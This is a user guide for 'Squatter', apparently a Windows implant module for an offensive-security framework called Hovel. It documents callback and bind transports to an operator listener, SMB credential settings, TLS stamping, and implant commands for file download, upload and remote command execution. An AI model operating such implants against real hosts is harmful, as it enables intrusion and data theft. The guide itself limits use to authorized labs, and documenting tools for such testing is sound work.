Squatter User Guide

Squatter is a trusted module package. Install it only in authorized Hovel workspaces and treat it as arbitrary code execution on both the operator host and the target lab host.

Use from a Source Checkout

The in-repo module catalogue contains Squatter as a JSON-RPC stdio provider command. Stage the source-tree launchers first so the catalogue's bin/squatter-provider command exists before running module checks.

task release:modules-stage
HOVEL_MODULE_CONFIG=modules/examples/hovel-modules.json hovel module check squatter

Install a Packaged Module

Release packaging stages the provider launcher and the Windows payload into a normal ModulePackage archive under dist/modules.

task release:modules-stage
task release:modules-package
hovel module install ./dist/modules/squatter-v0.1.0.tgz
hovel module check squatter@v0.1.0
hovel module installed

Configure a Transport

The provider defaults to TCP bind when no transport is set. Use payload.transport to choose a concrete transport and then provide the matching endpoint fields.

payload.provider = squatter
payload.format = pe-exe
payload.transport = smb-named-pipe | tcp-bind | tcp-callback
payload.bind_port = 9100
payload.lhost = 10.10.14.3
payload.lport = 4444
payload.pipe = neutral-pipe-name
smb.username = operator
smb.password = secret
smb.domain = LAB
smb.port = 445

reverse-tcp is accepted for compatibility and normalized to tcp-callback. SMB named-pipe mode requires explicit SMB credentials. TCP callback mode requires a provider listener before the payload connects back.

Stamp a Payload TLS Identity

Squatter advertises the named credential slot payload-tls-server. It accepts a private hovel.pki.bundle/v1 for the tls-server profile, payload consumer type, and portable-x509 compatibility target. Hovel resolves the selected assignment and sends the complete bundle to the provider's standard credential-stamp operation after payload generation and transport configuration.

The provider validates the bundle, certificate validity and purpose, private-key match, chain, fingerprints, and revocation material. It then writes a versioned SQPKI001 manifest into the PE's fixed credential region. The manifest contains the leaf DER, PKCS#8 private key, ordered chain, trust anchors, CRLs, and SHA-256 integrity bindings. No sidecar certificate file or Windows certificate-store installation is required.

A stamped payload enables wolfSSL TLS 1.3 on its configured TCP-bind socket. The provider rejects stamp requests for callback or named-pipe artifacts because those transports do not currently implement the matching TLS client/server role. An unstamped payload preserves the existing plaintext behavior. A present but malformed or modified stamp is a startup error and never falls back to plaintext. Named-pipe sessions remain on their existing SMB transport boundary.

Open the routed payload with the squatter+tls Mesh protocol. Mesh validates the selected node and route, then passes the TLS byte stream through unchanged; the certificate and private key stay in the payload and wolfSSL performs the handshake there.

Operate Payload Records

Successful install steps return durable installed-payload records. Use Hovel's provider-neutral payload commands to reconnect, inspect commands, invoke one typed action, or record cleanup state.

payloads available
payloads installed
payloads inspect p1 --events
payloads connect p1
payloads commands p1
payloads call p1 wininfo
payloads getfile p1 C:\Windows\win.ini
payloads putfile p1 ./note.txt C:\Windows\Temp\note.txt
payloads cmd p1 whoami
payloads cleanup p1